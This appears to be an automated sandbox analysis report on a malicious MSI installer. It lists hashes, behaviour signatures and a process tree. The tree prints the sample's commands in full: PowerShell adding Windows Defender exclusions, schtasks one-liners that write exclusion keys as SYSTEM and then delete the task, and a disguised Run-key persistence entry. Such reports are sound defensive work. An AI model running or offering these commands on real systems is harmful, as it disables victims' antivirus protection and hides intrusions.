Analysis
- max time kernel
146s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/07/2026, 02:42
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_mal004.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_mal004.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
24 signatures
150 seconds
General
- Target install_mal004.msi
- Size 7.7MB
- Sample260731-c678asbe58
- SHA256 97890766d56d952fe6242bd5dbf231113c2c3335f4994b659e485e047ebfda83
- MD5 1b612e553f5fa50047d236cf19fd2dcf
- SHA1 4d83dab0854d79e77d3ecdfc99850f6b7b391b3a
- SHA512 2ce2fc0c200e9d7743f686bf22cd338413035b829a6e91d74b88dc094f36c1a4701eb6101021ce59878713d1cbb8fc93a389758822b232b845f7bcd0d7097d4f
- SSDEEP 196608:yvA8KuUBIeMpGZt46NuHbhypJRWt4zEAYsHCPefrEt:yPKfBIe9y66qJ4CYmzrC
- TLSH T1508633C87CCDA674C1A3C77546C3645E3D387FD277AA8E1BBA5536002D32236277A289
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2148 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 2524 zBeQwa.exe - Loads dropped DLL 2 IoCs
pid Process 3012 MsiExec.exe 2524 zBeQwa.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\glsSOR\\zBeQwa.exe\"" zBeQwa.exe - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 10 3012 MsiExec.exe 13 3012 MsiExec.exe 14 3012 MsiExec.exe 17 3012 MsiExec.exe 18 3012 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 5096 cmd.exe 1500 cmd.exe 1096 cmd.exe 4792 cmd.exe 5616 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b zBeQwa.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFA75793835CFF1D78.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{4CA0D086-AA26-797D-3C5F-028810CDD1E6} msiexec.exe File created C:\Windows\Installer\e597eec.msi msiexec.exe File created C:\Windows\Installer\e597eea.msi msiexec.exe File opened for modification C:\Windows\Installer\e597eea.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DF964AD504AED5A27F.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI8514.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI85B2.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFE5FAA93D1BF54A8C.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFF0E68AC3468602AE.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1492 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 828 cmd.exe 2548 cmd.exe 2216 cmd.exe 4716 cmd.exe 3644 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ad3b1fc6af0fc0350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ad3b1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ad3b1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ad3b1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ad3b1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\ProductName = "ENCPP Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\PackageName = "install_mal004.msi" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\PackageCode = "DE76FCE7A6113F248A671CD22B5F78ED" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4216 schtasks.exe 5208 schtasks.exe 5864 schtasks.exe 4636 schtasks.exe 3860 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2380 msiexec.exe 2380 msiexec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 3012 MsiExec.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe 2524 zBeQwa.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1492 msiexec.exe Token: SeIncreaseQuotaPrivilege 1492 msiexec.exe Token: SeSecurityPrivilege 2380 msiexec.exe Token: SeCreateTokenPrivilege 1492 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1492 msiexec.exe Token: SeLockMemoryPrivilege 1492 msiexec.exe Token: SeIncreaseQuotaPrivilege 1492 msiexec.exe Token: SeMachineAccountPrivilege 1492 msiexec.exe Token: SeTcbPrivilege 1492 msiexec.exe Token: SeSecurityPrivilege 1492 msiexec.exe Token: SeTakeOwnershipPrivilege 1492 msiexec.exe Token: SeLoadDriverPrivilege 1492 msiexec.exe Token: SeSystemProfilePrivilege 1492 msiexec.exe Token: SeSystemtimePrivilege 1492 msiexec.exe Token: SeProfSingleProcessPrivilege 1492 msiexec.exe Token: SeIncBasePriorityPrivilege 1492 msiexec.exe Token: SeCreatePagefilePrivilege 1492 msiexec.exe Token: SeCreatePermanentPrivilege 1492 msiexec.exe Token: SeBackupPrivilege 1492 msiexec.exe Token: SeRestorePrivilege 1492 msiexec.exe Token: SeShutdownPrivilege 1492 msiexec.exe Token: SeDebugPrivilege 1492 msiexec.exe Token: SeAuditPrivilege 1492 msiexec.exe Token: SeSystemEnvironmentPrivilege 1492 msiexec.exe Token: SeChangeNotifyPrivilege 1492 msiexec.exe Token: SeRemoteShutdownPrivilege 1492 msiexec.exe Token: SeUndockPrivilege 1492 msiexec.exe Token: SeSyncAgentPrivilege 1492 msiexec.exe Token: SeEnableDelegationPrivilege 1492 msiexec.exe Token: SeManageVolumePrivilege 1492 msiexec.exe Token: SeImpersonatePrivilege 1492 msiexec.exe Token: SeCreateGlobalPrivilege 1492 msiexec.exe Token: SeBackupPrivilege 2040 vssvc.exe Token: SeRestorePrivilege 2040 vssvc.exe Token: SeAuditPrivilege 2040 vssvc.exe Token: SeBackupPrivilege 2380 msiexec.exe Token: SeRestorePrivilege 2380 msiexec.exe Token: SeRestorePrivilege 2380 msiexec.exe Token: SeTakeOwnershipPrivilege 2380 msiexec.exe Token: SeRestorePrivilege 2380 msiexec.exe Token: SeTakeOwnershipPrivilege 2380 msiexec.exe Token: SeRestorePrivilege 2380 msiexec.exe Token: SeTakeOwnershipPrivilege 2380 msiexec.exe Token: SeBackupPrivilege 2188 srtasks.exe Token: SeRestorePrivilege 2188 srtasks.exe Token: SeSecurityPrivilege 2188 srtasks.exe Token: SeTakeOwnershipPrivilege 2188 srtasks.exe Token: SeBackupPrivilege 2188 srtasks.exe Token: SeRestorePrivilege 2188 srtasks.exe Token: SeSecurityPrivilege 2188 srtasks.exe Token: SeTakeOwnershipPrivilege 2188 srtasks.exe Token: SeRestorePrivilege 2380 msiexec.exe Token: SeTakeOwnershipPrivilege 2380 msiexec.exe Token: SeRestorePrivilege 2380 msiexec.exe Token: SeTakeOwnershipPrivilege 2380 msiexec.exe Token: SeRestorePrivilege 2380 msiexec.exe Token: SeTakeOwnershipPrivilege 2380 msiexec.exe Token: SeRestorePrivilege 2380 msiexec.exe Token: SeTakeOwnershipPrivilege 2380 msiexec.exe Token: SeRestorePrivilege 2380 msiexec.exe Token: SeTakeOwnershipPrivilege 2380 msiexec.exe Token: SeRestorePrivilege 2380 msiexec.exe Token: SeTakeOwnershipPrivilege 2380 msiexec.exe Token: SeRestorePrivilege 2380 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1492 msiexec.exe 1492 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1492 msiexec.exe 2380 msiexec.exe 3012 MsiExec.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 2380 wrote to memory of 2188 2380 msiexec.exe 94 PID 2380 wrote to memory of 3012 2380 msiexec.exe 96 PID 2524 wrote to memory of 2148 2524 zBeQwa.exe 100 PID 2524 wrote to memory of 5096 2524 zBeQwa.exe 101 PID 5096 wrote to memory of 4216 5096 cmd.exe 104 PID 5096 wrote to memory of 5572 5096 cmd.exe 105 PID 5096 wrote to memory of 4892 5096 cmd.exe 107 PID 2524 wrote to memory of 1500 2524 zBeQwa.exe 108 PID 1500 wrote to memory of 5208 1500 cmd.exe 110 PID 1500 wrote to memory of 6024 1500 cmd.exe 112 PID 1500 wrote to memory of 5708 1500 cmd.exe 115 PID 2524 wrote to memory of 1096 2524 zBeQwa.exe 116 PID 1096 wrote to memory of 5864 1096 cmd.exe 118 PID 1096 wrote to memory of 200 1096 cmd.exe 119 PID 1096 wrote to memory of 2952 1096 cmd.exe 121 PID 2524 wrote to memory of 4792 2524 zBeQwa.exe 125 PID 4792 wrote to memory of 4636 4792 cmd.exe 127 PID 4792 wrote to memory of 1276 4792 cmd.exe 128 PID 4792 wrote to memory of 1212 4792 cmd.exe 130 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal004.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1492
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2380 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:2188
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding A9ED89E00685BCF76F12279FA20BA462 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3012
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2040
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C:\Users\Public\glsSOR\zBeQwa.exe"C:\Users\Public\glsSOR\zBeQwa.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:2148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\glsSOR\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5096 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\glsSOR\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4216
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5572
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4892
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5208
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:6024
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5708
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5864
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:200
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4792 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4636
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1276
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1212
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:5616 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3860
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5288
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4324
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\glsSOR" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:3644 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\glsSOR" /t REG_DWORD /d 0 /f2⤵PID:1116
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
